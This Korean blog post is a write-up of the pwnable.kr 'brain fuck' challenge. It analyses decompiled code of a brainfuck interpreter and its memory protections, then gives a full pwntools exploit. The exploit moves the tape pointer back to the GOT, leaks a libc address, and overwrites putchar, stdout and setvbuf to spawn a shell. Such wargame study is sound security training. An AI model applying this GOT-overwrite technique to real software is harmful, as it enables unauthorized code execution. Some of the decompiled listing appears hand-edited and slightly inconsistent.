본문 바로가기
Wargame Write-Up/Pwnable.kr

[Pwnable.kr] (Pwnable) brain fuck 풀이

by snwo 2020. 4. 28.

int main(void)
{
  size_t sVar1;
  int in_GS_OFFSET;
  int i;
  char s [1024];
  int local_14;
  
  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,1,0);
  p = &tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(local_414,0,0x400);
  fgets(local_414,0x400,stdin);
  i = 0;
  while( true ) {
    len = strlen(s);
    if (i <= len) break;
    do_brainfuck(s[i]);
    i+=1;
  }
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

문제파일을 다운로드하면, 실행파일과 라이브러리를 준다.

기드라로 분석해서 변수이름 보기가 불편할수도있다.

입맛에 맞게 수정해봤다.

 

전역변수 p 는 tape 로 초기화시킨다.

 

0x080486de <+109>: mov    DWORD PTR ds:0x804a080,0x804a0a0

 

tape의 주소는 0x804a0a0

 

크기가 1024인 문자배열을 선언하고,

fgets 로 1024만큼 입력을 받는다

 

 

그리고 입력받은길이만큼 한글자씩 do_brainfuck 함수 호출한다.

 

스택을체크하는

Canery 메모리보호기법 이 적용되어있다.


void do_brainfuck(undefined param_1)

{
  char *pcVar1;
  int iVar2;
  
  pcVar1 = p;
  switch(param_1) {
  case '+':
    *p = *p + '\x01';
    break;
  case ',':
    iVar2 = getchar();
    *pcVar1 = (char)iVar2;
    break;
  case '-':
    *p = *p + -1;
    break;
  case '.':
    putchar((int)*p);
    break;
  case '<':
    p = p + -1;
    break;
  case '>':
    p = p + 1;
    break;
  case 0x5b:
    puts("[ and ] not supported.");
  }
  return;
}
  return;
}​

brainfuck 언어는 +,-.<> 같은 문자들로 이루어진 난해한 언어이다.

brainfuck 언어를 구현하고있는것같다.

+ : 문자값증가

, : 문자하나입력받음

- : 문자값감소

. : 포인터값출력

< : 포인터감소

> : 포인터증가


카나리와 NX 가 적용되어있고,

PIE 가적용되어있지않고,

RELRO가 Partial 이기때문에

GOT overwrite 로 풀어야겠다.


< 문자로 포인터값을 감소시켜서 p 에서 tape 를 넘어

GOT 주소까지 접근해

.<.<.<. 이런식으로 메모리를 leak 시킬 수 있다.

 

라이브러리가 주어지기때문에,

/bin/sh 문자열과 system 함수의 offset 을 구할 수 있다.

  1. < 연산자로 포인터 이동 후 stdout, putchar, setvbuf 의 got 주소에 ,>,>,>, 입력해 got조작
  2. stdout 에는 .>.>.>. 도 입력해 stdout 의 got 주소 leak, 마지막은 . 을 붙여 페이로드전송
  3. leak 한 got 주소로 libc_base 구하기
  4. system, /bin/sh 의 주소 구하기
  5. putchar -> main(), stdout -> /bin/sh, setvbuf -> system 으로 수정
  6. 페이로드 전송

tape 가 0x804a0a0 에 있으므로

stdout, putchar, setvbuf 순서대로 값을 수정한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
p=remote('pwnable.kr',9001)
#p=process('./bf')
#context.log_level='debug'
b=ELF('./bf')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc=ELF('./bf_libc.so')
 
tape=0x804a0a0
pay1=""
pay1+='<'*(tape-b.got['stdout'])
pay1+='.>.>.>.'+'<<<'
pay1+=',>,>,>,'+'<<<'
pay1+='<'*(b.got['stdout']-b.got['putchar'])
pay1+=',>,>,>,'+'<<<'
pay1+='<'*(b.got['putchar']-b.got['setvbuf'])
pay1+=',>,>,>,'+'<<<'
pay1+='.'
 
p.recvuntil('[ ]\n')
p.sendline(pay1)
 
sleep(1)
 
libc_base=u32(p.recv(4))-libc.symbols['stdout']+0x9c
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search('/bin/sh').next()
 
pay2=""
pay2+=p32(binsh)
pay2+=p32(b.symbols['main'])
pay2+=p32(system)
 
p.sendline(pay2)
p.interactive()

코드를 자세히 보세요.

sleep 를 쓰는 이유는, 서버가 느린건지 값을 조금있다가줘서 recv 에러가 나기때문입니다

 

libc base 에 0x9c 를 더해주는 이유는

로컬에서 SIGSEGV 에러가 나서 코어를 까보니, lib_base+system_offset 과 0x9c 차이가 나는걸 확인할 수 있습니다

libc.so.6 라이브러리로 system offset 을 가져왔을때 0x9c 가 차이가나서,

문제서버에 문제서버라이브러리로 system offset 을 가져와서 실행했을때도 에러가나서

로컬과 똑같이 lib_base 에 0x9c 를 더해주었더니, 해결됐다.